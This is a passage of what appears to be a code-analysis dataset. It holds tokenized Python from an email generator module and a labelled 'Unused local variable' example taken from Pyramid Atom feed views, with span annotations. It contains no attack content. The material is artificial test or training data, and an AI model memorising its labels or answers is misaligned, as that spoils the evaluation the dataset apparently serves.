" ", "of", " ", "this", " ", "constant", " ", "for", " ", "use", " ", "in", " ", "manipulati", "ng", " ", "data", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "Byte", "s", "IO", " ", "buffer", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "encode", "d\\u", "EMPTY_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Default", " ", "body", " ", "handler_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "write", "Body_", "=_", "\\u", "handle", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "str_", "(_", "s_", ")_", "._", "encode_", "(_", "'", "ascii", "'_", ",_", "'", "surrogate", "escape", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "new", "\\u", "buffer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "encode_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "._", "encode_", "(_", "'", "ascii", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "write", "\\u", "headers_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "alm", "ost", " ", "the", " ", "same", " ", "as", " ", "the", " ", "string", " ", "version", ",", " ", "except", " ", "for", " ", "handling", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "string", "s", " ", "with", " ", "8b", "it", " ", "bytes", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "h_", ",_", "v_", "in_", "msg_", "._", "raw", "\\u", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "self_", "._", "policy_", "._", "fold", "\\u", "binary_", "(_", "h_", ",_", "v_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A", " ", "blank", " ", "line", " ", "alw", "ay", "s", " ", "separate", "s", " ", "header", "s", " ", "from", " ", "body_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "text_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "string", " ", "has", " ", "surrogate", "s", " ", "the", " ", "original", " ", "source", " ", "was", " ", "bytes", ",", " ", "so_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "just", " ", "write", " ", "it", " ", "back", " ", "out", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "msg_", "._", "\\u", "payload_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "has", "\\u", "surrogate", "s_", "(_", "msg_", "._", "\\u", "payload_", ")_", "and_", "not_", "self_", "._", "policy_", "._", "cte", "\\u", "type_", "==_", "'", "7b", "it", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "mangle", "\\u", "from\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "._", "\\u", "payload_", "=_", "fc", "re_", "._", "sub_", "(_", "\">", "Fro", "m", " ", "\"_", ",_", "msg_", "._", "\\u", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "write", "\\u", "lines_", "(_", "msg_", "._", "\\u", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Byte", "s", "Generator_", ",_", "self_", ")_", "._", "\\u", "handle", "\\u", "text_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "compile", "\\u", "re_", "(_", "cls_", ",_", "s_", ",_", "flags_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "re_", "._", "compile_", "(_", "s_", "._", "encode_", "(_", "'", "ascii", "'_", ")_", ",_", "flags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Decode", "d", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Generate", "s", " ", "a", " ", "text", " ", "represent", "ation", " ", "of", " ", "a", " ", "message", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Lik", "e", " ", "the", " ", "Generat", "or", " ", "base", " ", "class", ",", " ", "except", " ", "tha", "t", " ", "non", "-", "text", " ", "part", "s", " ", "are", " ", "substitute", "d", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "a", " ", "format", " ", "string", " ", "represent", "ing", " ", "the", " ", "part", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Decode", "d", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "outf", "p_", ",_", "mangle", "\\u", "from\\u_", "=_", "True_", ",_", "max", "header", "len_", "=_", "78_", ",_", "fmt_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Lik", "e", " ", "Generat", "or", ".\\u", "\\u", "init", "\\u\\u()", " ", "except", " ", "tha", "t", " ", "an", " ", "addition", "al", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "argu", "ment", " ", "is", " ", "allow", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Walk", "s", " ", "through", " ", "all", " ", "subpar", "ts", " ", "of", " ", "a", " ", "message", ".", " ", " ", "If", " ", "the", " ", "subpar", "t", " ", "is", " ", "of", " ", "main", "\\", "10", ";", " ", " ", " ", " ", "type", " ", "`", "text", "',", " ", "then", " ", "it", " ", "print", "s", " ", "the", " ", "decode", "d", " ", "payload", " ", "of", " ", "the", " ", "subpar", "t", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Ot", "her", "wis", "e", ",", " ", "fmt", " ", "is", " ", "a", " ", "format", " ", "string", " ", "tha", "t", " ", "is", " ", "used", " ", "inst", "ead", " ", "of", " ", "the", " ", "message", "\\", "10", ";", " ", " ", " ", " ", "payload", ".", " ", " ", "fmt", " ", "is", " ", "expand", "ed", " ", "with", " ", "the", " ", "follow", "ing", " ", "keywords", " ", "(", "in", "\\", "10", ";", " ", " ", " ", " ", "%", "(", "keyw", "ord", ")", "s", " ", "format", "):", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "type", " ", " ", " ", ":", " ", "Full", " ", "MIME", " ", "type", " ", "of", " ", "the", " ", "non", "-", "text", " ", "part", "\\", "10", ";", " ", " ", " ", " ", "maint", "ype", " ", " ", " ", ":", " ", "Main", " ", "MIME", " ", "type", " ", "of", " ", "the", " ", "non", "-", "text", " ", "part", "\\", "10", ";", " ", " ", " ", " ", "subt", "ype", " ", " ", " ", " ", ":", " ", "Sub", "-", "MIME", " ", "type", " ", "of", " ", "the", " ", "non", "-", "text", " ", "part", "\\", "10", ";", " ", " ", " ", " ", "filename", " ", " ", " ", ":", " ", "File", "name", " ", "of", " ", "the", " ", "non", "-", "text", " ", "part", "\\", "10", ";", " ", " ", " ", " ", "description", ":", " ", "Descripti", "on", " ", "associate", "d", " ", "with", " ", "the", " ", "non", "-", "text", " ", "part", "\\", "10", ";", " ", " ", " ", " ", "encoding", " ", " ", " ", ":", " ", "Conten", "t", " ", "transfer", " ", "encoding", " ", "of", " ", "the", " ", "non", "-", "text", " ", "part", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "default", " ", "value", " ", "for", " ", "fmt", " ", "is", " ", "Non", "e", ",", " ", "meaning", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "[", "Non", "-", "text", " ", "(%", "(", "type", ")", "s", ")", " ", "part", " ", "of", " ", "message", " ", "omit", "ted", ",", " ", "filename", " ", "%", "(", "filename", ")", "s", "]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Generator_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "outf", "p_", ",_", "mangle", "\\u", "from\\u_", ",_", "max", "header", "len_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fmt_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fmt_", "=_", "\\u", "FMT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fmt_", "=_", "fmt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Decode", "d", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "dispatch_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "part_", "in_", "msg_", "._", "walk_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "maint", "ype_", "=_", "part_", "._", "get", "\\u", "content", "\\u", "maint", "ype_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "maint", "ype_", "==_", "'", "text", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "part_", "._", "get", "\\u", "payload_", "(_", "decode_", "=_", "False_", ")_", ",_", "file_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "maint", "ype_", "==_", "'", "multip", "art", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ju", "st", " ", "skip", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "self_", "._", "\\u", "fmt_", "%_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "type", "'_", ":_", "part_", "._", "get", "\\u", "content", "\\u", "type_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "maint", "ype", "'_", ":_", "part_", "._", "get", "\\u", "content", "\\u", "maint", "ype_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subt", "ype", "'_", ":_", "part_", "._", "get", "\\u", "content", "\\u", "subtype_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "filename", "'_", ":_", "part_", "._", "get", "\\u", "filename_", "(_", "'[", "no", " ", "filename", "]'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "part_", "._", "get_", "(_", "'", "Conten", "t", "-", "Descripti", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'[", "no", " ", "description", "]'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "encoding", "'_", ":_", "part_", "._", "get_", "(_", "'", "Conten", "t", "-", "Transfer", "-", "Enco", "ding", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'[", "no", " ", "encoding", "]'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "file_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
sjuxax/raggregate/raggregate/views/feeds.py
[ { "content": "@view_config(renderer='atom_story.mak', route_name='atom_story')\ndef story(request):\n s = request.session\n r = request\n dbsession = DBSession()\n\n stories = submission.get_story_list(page_num = 1, per_page = 30, sort = 'new', request = r)\n last_update = stories['stories'][0].added_on.isoformat()\n request.response.content_type = \"text/xml\"\n site_name = r.registry.settings['site.site_name']\n return {'stories': stories['stories'], 'route': 'atom_story', 'last_update': last_update,\n 'feed_title': '{0} stories'.format(site_name), 'feed_subtitle': 'newest stories on {0}'.format(site_name),\n 'site_name': site_name,\n }", "metadata": "root.story", "header": "['module', '___EOS___']", "index": 6 }, { "content": "@view_config(renderer='atom_story.mak', route_name='atom_self_story')\ndef self_story(request):\n s = request.session\n r = request\n dbsession = DBSession()\n\n stories = submission.get_story_list(page_num = 1, per_page = 30, sort = 'new', request = r, self_only = True)\n last_update = stories['stories'][0].added_on.isoformat()\n request.response.content_type = \"text/xml\"\n site_name = r.registry.settings['site.site_name']\n return {'stories': stories['stories'], 'route': 'atom_self_story', 'last_update': last_update,\n 'feed_title': '{0} exclusives'.format(site_name), 'feed_subtitle': 'newest exclusives on {0}'.format(site_name),\n 'site_name': site_name,\n }", "metadata": "root.self_story", "header": "['module', '___EOS___']", "index": 21 }, { "content": "@view_config(renderer='atom_combined.mak', route_name='atom_combined')\ndef combined(request):\n s = request.session\n r = request\n dbsession = DBSession()\n\n stories = submission.get_story_list(page_num = 1, per_page = 10, sort = 'new', request = r)\n comments = submission.get_recent_comments(10)\n\n agg = []\n [agg.append(i) for i in comments]\n [agg.append(i) for i in stories['stories']]\n agg.sort(key=lambda x: x.added_on, reverse=True)\n last_update = agg[0].added_on.isoformat()\n\n request.response.content_type = \"text/xml\"\n site_name = r.registry.settings['site.site_name']\n return {'interleaved': agg, 'route': 'atom_combined', 'last_update': last_update,\n 'feed_title': '{0} all content'.format(site_name), 'feed_subtitle': 'newest content on {0}'.format(site_name),\n 'site_name': site_name,\n }", "metadata": "root.combined", "header": "['module', '___EOS___']", "index": 36 }, { "content": "@view_config(renderer='atom_comment.mak', route_name='atom_comment')\ndef comment(request):\n s = request.session\n r = request\n dbsession = DBSession()\n\n comments = submission.get_recent_comments(20)\n last_update = comments[0].added_on.isoformat()\n request.response.content_type = \"text/xml\"\n site_name = r.registry.settings['site.site_name']\n return {'comments': comments, 'route': 'atom_comment', 'last_update': last_update,\n 'feed_title': '{0} comments'.format(site_name), 'feed_subtitle': 'newest comments on {0}'.format(site_name),\n 'site_name': site_name,\n }", "metadata": "root.comment", "header": "['module', '___EOS___']", "index": 58 } ]
[ { "span": "s ", "start_line": 8, "start_column": 4, "end_line": 8, "end_column": 5 }, { "span": "dbsession ", "start_line": 10, "start_column": 4, "end_line": 10, "end_column": 13 }, { "span": "s ", "start_line": 23, "start_column": 4, "end_line": 23, "end_column": 5 }, { "span": "dbsession ", "start_line": 25, "start_column": 4, "end_line": 25, "end_column": 13 }, { "span": "s ", "start_line": 38, "start_column": 4, "end_line": 38, "end_column": 5 }, { "span": "dbsession ", "start_line": 40, "start_column": 4, "end_line": 40, "end_column": 13 }, { "span": "s ", "start_line": 60, "start_column": 4, "end_line": 60, "end_column": 5 }, { "span": "dbsession ", "start_line": 62, "start_column": 4, "end_line": 62, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "view", "\\u", "config_", "(_", "renderer_", "=_", "'", "atom", "\\u", "stor", "y", ".", "mak", "'_", ",_", "route", "\\u", "name_", "=_", "'", "atom", "\\u", "stor", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "story_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "request_", "._", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbse", "ssion_", "=_", "DB", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stories", "_", "=_", "submission_", "._", "get", "\\u", "stor", "y", "\\u", "list_", "(_", "page", "\\u", "num_", "=_", "1_", ",_", "per", "\\u", "page_", "=_", "30_", ",_", "sort_", "=_", "'", "new", "'_", ",_", "request_", "=_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "update_", "=_", "stories", "_", "[_", "'", "stories", "'_", "]_", "[_", "0_", "]_", "._", "adde", "d\\u", "on_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "response_", "._", "content", "\\u", "type_", "=_", "\"", "text", "/", "xml", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site", "\\u", "name_", "=_", "r_", "._", "registry_", "._", "settings_", "[_", "'", "site", ".", "site", "\\u", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "'", "stories", "'_", ":_", "stories", "_", "[_", "'", "stories", "'_", "]_", ",_", "'", "route", "'_", ":_", "'", "atom", "\\u", "stor", "y", "'_", ",_", "'", "last", "\\u", "update", "'_", ":_", "last", "\\u", "update_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feed", "\\u", "title", "'_", ":_", "'{", "0", "}", " ", "stories", "'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "'", "feed", "\\u", "subtit", "le", "'_", ":_", "'", "newest", " ", "stories", " ", "on", " ", "{", "0", "}'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "\\u", "name", "'_", ":_", "site", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "view", "\\u", "config_", "(_", "renderer_", "=_", "'", "atom", "\\u", "stor", "y", ".", "mak", "'_", ",_", "route", "\\u", "name_", "=_", "'", "atom", "\\u", "self", "\\u", "stor", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "self", "\\u", "story_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "request_", "._", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbse", "ssion_", "=_", "DB", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stories", "_", "=_", "submission_", "._", "get", "\\u", "stor", "y", "\\u", "list_", "(_", "page", "\\u", "num_", "=_", "1_", ",_", "per", "\\u", "page_", "=_", "30_", ",_", "sort_", "=_", "'", "new", "'_", ",_", "request_", "=_", "r_", ",_", "self", "\\u", "only_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "update_", "=_", "stories", "_", "[_", "'", "stories", "'_", "]_", "[_", "0_", "]_", "._", "adde", "d\\u", "on_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "response_", "._", "content", "\\u", "type_", "=_", "\"", "text", "/", "xml", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site", "\\u", "name_", "=_", "r_", "._", "registry_", "._", "settings_", "[_", "'", "site", ".", "site", "\\u", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "'", "stories", "'_", ":_", "stories", "_", "[_", "'", "stories", "'_", "]_", ",_", "'", "route", "'_", ":_", "'", "atom", "\\u", "self", "\\u", "stor", "y", "'_", ",_", "'", "last", "\\u", "update", "'_", ":_", "last", "\\u", "update_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feed", "\\u", "title", "'_", ":_", "'{", "0", "}", " ", "exclu", "sive", "s", "'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "'", "feed", "\\u", "subtit", "le", "'_", ":_", "'", "newest", " ", "exclu", "sive", "s", " ", "on", " ", "{", "0", "}'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "\\u", "name", "'_", ":_", "site", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "view", "\\u", "config_", "(_", "renderer_", "=_", "'", "atom", "\\u", "combin", "ed", ".", "mak", "'_", ",_", "route", "\\u", "name_", "=_", "'", "atom", "\\u", "combin", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "combined_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "request_", "._", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbse", "ssion_", "=_", "DB", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stories", "_", "=_", "submission_", "._", "get", "\\u", "stor", "y", "\\u", "list_", "(_", "page", "\\u", "num_", "=_", "1_", ",_", "per", "\\u", "page_", "=_", "10_", ",_", "sort_", "=_", "'", "new", "'_", ",_", "request_", "=_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comments_", "=_", "submission_", "._", "get", "\\u", "recent", "\\u", "comments_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "agg_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "agg_", "._", "append_", "(_", "i_", ")_", "for_", "i_", "in_", "comments_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "agg_", "._", "append_", "(_", "i_", ")_", "for_", "i_", "in_", "stories", "_", "[_", "'", "stories", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "._", "sort_", "(_", "key_", "=_", "lambda_", "x_", ":_", "x_", "._", "adde", "d\\u", "on_", ",_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "update_", "=_", "agg_", "[_", "0_", "]_", "._", "adde", "d\\u", "on_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "._", "response_", "._", "content", "\\u", "type_", "=_", "\"", "text", "/", "xml", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site", "\\u", "name_", "=_", "r_", "._", "registry_", "._", "settings_", "[_", "'", "site", ".", "site", "\\u", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "'", "interleave", "d", "'_", ":_", "agg_", ",_", "'", "route", "'_", ":_", "'", "atom", "\\u", "combin", "ed", "'_", ",_", "'", "last", "\\u", "update", "'_", ":_", "last", "\\u", "update_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feed", "\\u", "title", "'_", ":_", "'{", "0", "}", " ", "all", " ", "content", "'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "'", "feed", "\\u", "subtit", "le", "'_", ":_", "'", "newest", 